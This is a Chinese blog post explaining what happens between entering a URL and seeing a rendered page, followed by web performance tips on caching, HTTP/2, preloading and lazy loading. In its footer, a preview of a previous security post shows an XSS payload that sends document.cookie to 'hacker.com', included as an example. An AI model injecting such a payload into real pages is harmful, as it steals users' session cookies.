Web性能优化


Web 性能优化

想要进行优化必须先要了解一个页面从加载到展现的过程中经历了那些过程
找到一篇好文章

从输入 URL 到页面展现中间发生了什么?

  1. 浏览器的地址栏输入 URL 并按下回车。
    我们常见的 URL 是这样的:http://www.baidu.com, 这个 URL 由三部分组成:协议名、域名、端口号,这里端口是默认所以隐藏。除此之外 URL 还会包含一些路径、查询参数等。 我们最常见的的协议是 HTTP 协议,除此之外还有加密的 HTTPS 协议、FTP 协议、FILe 协议等等。URL 的中间部分为域名或者是 IP,之后就是端口号了。通常端口号不常见是因为大部分的都是使用默认端口,如 HTTP 默认端口 80,HTTPS 默认端口 443。

  2. DNS 解析 URL 对应的 IP。
    首先浏览器先检查本地 hosts 文件是否有这个网址映射关系,如果有就调用这个 IP 地址映射,完成域名解析。
    如果没找到则会查找系统 DNS 缓存,如果查找到则返回。
    如果没找到则会查找 ISP 的 DNS 缓存,如果查找到则返回。
    逐层查询直到根域名服务器

  3. 根据 IP 建立 TCP 连接(三次握手)。
    在通过第一步的 DNS 域名解析后,获取到了服务器的 IP 地址,在获取到 IP 地址后,便会开始建立一次连接,这是由 TCP 协议完成的,主要通过三次握手进行连接。
      第一次握手: 建立连接时,客户端发送 syn 包(syn=j)到服务器,并进入 SYN_SENT 状态,等待服务器确认;
      第二次握手: 服务器收到 syn 包,必须确认客户的 SYN(ack=j+1),同时自己也发送一个 SYN 包(syn=k),即 SYN+ACK 包,此时服务器进入 SYN_RECV 状态;
      第三次握手: 客户端收到服务器的 SYN+ACK 包,向服务器发送确认包 ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED(TCP 连接成功)状态,完成三次握手。
      完成三次握手,客户端与服务器开始传送数据。

  4. HTTP 发起请求。
    完整的 HTTP 请求包含请求起始行、请求头部、请求主体三部分。

  5. 服务器处理请求,浏览器接收 HTTP 响应。
    服务器在收到浏览器发送的 HTTP 请求之后,会将收到的 HTTP 报文封装成 HTTP 的 Request 对象,并通过不同的 Web 服务器进行处理,处理完的结果以 HTTP 的 Response 对象返回,主要包括状态码,响应头,响应报文三个部分。

  6. 浏览器查找当前请求的资源是否存在缓存,并比较缓存是否过期。
    强缓存判断 HTTP 首部字段:cache-control,Expires。
       Expires 是一个绝对时间,即服务器时间。浏览器检查当前时间,如果还没到失效时间就直接使用缓存文件。但是该方法存在一个问题:服务器时间与客户端时间可能不一致。因此该字段已经很少使用。
       cache-control 中的 max-age 保存一个相对时间。例如 Cache-Control: max-age = 484200,表示浏览器收到文件后,缓存在 484200s 内均有效。 如果同时存在 cache-control 和 Expires,浏览器总是优先使用 cache-control。
    协商缓存通过 HTTP 的 last-modified,Etag 字段进行判断。
       last-modified 是第一次请求资源时,服务器返回的字段,表示最后一次更新的时间。下一次浏览器请求资源时就发送 if-modified-since 字段。服务器用本地 Last-modified 时间与 if-modified-since 时间比较,如果不一致则认为缓存已过期并返回新资源给浏览器;如果时间一致则发送 304 状态码,让浏览器继续使用缓存。
       Etag:资源的实体标识(哈希字符串),当资源内容更新时,Etag 会改变。服务器会判断 Etag 是否发生变化,如果变化则返回新资源,否则返回 304。

  7. 渲染页面,构建 DOM 树。
    如果说响应的内容是 HTML 文档的话,就需要浏览器进行解析渲染呈现给用户。整个过程涉及两个方面:解析和渲染。在渲染页面之前,需要构建 DOM 树和 CSSOM 树。
    在浏览器还没接收到完整的 HTML 文件时,它就开始渲染页面了,在遇到外部链入的脚本标签或样式标签或图片时,会再次发送 HTTP 请求重复上述的步骤。在收到 CSS 文件后会对已经渲染的页面重新渲染,加入它们应有的样式,图片文件加载完立刻显示在相应位置。在这一过程中可能会触发页面的重绘或重排。这里就涉及了两个重要概念:Reflow 和 Repaint。
       Reflow,也称作 Layout,中文叫回流,一般意味着元素的内容、结构、位置或尺寸发生了变化,需要重新计算样式和渲染树,这个过程称为 Reflow。
       Repaint,中文重绘,意味着元素发生的改变只是影响了元素的一些外观之类的时候(例如,背景色,边框颜色,文字颜色等),此时只需要应用新样式绘制这个元素就 OK 了,这个过程称为 Repaint。
      所以说 Reflow 的成本比 Repaint 的成本高得多的多。DOM 树里的每个结点都会有 reflow 方法,一个结点的 reflow 很有可能导致子结点,甚至父点以及同级结点的 reflow。
      下面这些动作有很大可能会是成本比较高的:
    1、增加、删除、修改 DOM 结点时,会导致 Reflow 或 Repaint。
    2、移动 DOM 的位置,或是搞个动画的时候。
    3、内容发生变化。
    4、修改 CSS 样式的时候。
    5、Resize 窗口的时候(移动端没有这个问题),或是滚动的时候。
    6、修改网页的默认字体时。
    基本上来说,reflow 有如下的几个原因:
    1、Initial,网页初始化的时候。
    2、Incremental,一些 js 在操作 DOM 树时。
    3、Resize,其些元素的尺寸变了。
    4、StyleChange,某些 CSS 的属性发生变化了。

  8. 关闭 TCP 连接(四次挥手)。
    通过四次挥手关闭连接(FIN ACK, ACK, FIN ACK, ACK)。
    第一次挥手是浏览器发完数据后,发送 FIN 请求断开连接。
    第二次挥手是服务器发送 ACK 表示同意,如果在这一次服务器也发送 FIN 请求断开连接似乎也没有不妥,但考虑到服务器可能还有数据要发送,所以服务器发送 FIN 应该放在第三次挥手中。
    这样浏览器需要返回 ACK 表示同意,也就是第四次挥手。

如何优化

  1. DNS 预解析预先获得域名对应的 IP

    <link rel="dns-prefetch" href="baidu.com" />
  2. 选择合适的缓存策略
    对于某些不需要缓存的资源,可以使用 Cache-control: no-store ,表示该资源不需要缓存
    对于频繁变动的资源,可以使用 Cache-Control: no-cache 并配合 ETag 使用,表示该资源已被缓存,但是每次都会发送请求询问资源是否更新。
    对于代码文件来说,通常使用 Cache-Control: max-age=31536000 并配合策略缓存使用,然后对文件进行指纹处理,一旦文件名变动就会立刻下载新的文件。

  3. 使用 HTTP / 2.0
    在 HTTP / 2.0 中引入了多路复用,能够让多个请求使用同一个 TCP 链接,极大的加快了网页的加载速度。并且还支持 Header 压缩,进一步的减少了请求的数据大小。

  4. 其他

    • 预加载
      预加载其实是声明式的 fetch ,强制浏览器请求资源,并且不会阻塞 onload 事件,可以使用以下代码开启预加载
      预加载可以一定程度上降低首屏的加载时间,因为可以将一些不影响首屏但重要的文件延后加载,唯一缺点就是兼容性不好。
    <link rel="preload" href="http://example.com" />
    • 预渲染
      可以通过预渲染将下载的文件预先在后台渲染,可以使用以下代码开启预渲染
      预渲染虽然可以提高页面的加载速度,但是要确保该页面百分百会被用户在之后打开,否则就白白浪费资源去渲染
    <link rel="prerender" href="http://example.com" />
    • 懒加载
      懒加载就是将不关键的资源延后加载。

    • 懒执行
      懒执行就是将某些逻辑延迟到使用时再计算。该技术可以用于首屏优化,对于某些耗时逻辑并不需要在首屏就使用的,就可以使用懒执行。懒执行需要唤醒,一般可以通过定时器或者事件的调用来唤醒。

    使用 CDN
    使用 base64 格式的图片
    雪碧图
    使用 SVG 而不是 PNG
    CSS 文件放在 head 中
    服务端开启文件压缩功能
    将 script 标签放在 body 底部,因为 JS 文件执行会阻塞渲染。当然也可以把 script 标签放在任意位置然后加上 defer ,表示该文件会并行下载,但是会放到 HTML 解析完成后顺序执行。对于没有任何依赖的 JS 文件可以加上 async ,表示加载和渲染后续文档元素的过程将和 JS 文件的加载与执行并行无序进行。


文章作者: 沐雪
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 沐雪 !
评论
 上一篇
安全相关 安全相关
安全XSS 攻击举例 div.innerHTML = ( <script>$.get('http://hacker.com?cookie='+document.cookie)</script> ); // 恶意代码就被执行了
2018-06-10
下一篇 
HTTP HTTP
多看阅读-图解 HTTP Web 使用一种名为 HTTP(HyperText Transfer Protocol,超文本传输协议)的协议作为规范,完成从客户端到服务器端等一系列运作流程。通常使用的网络(包括互联网)是在 TCP/IP 协议
2018-05-18
  目录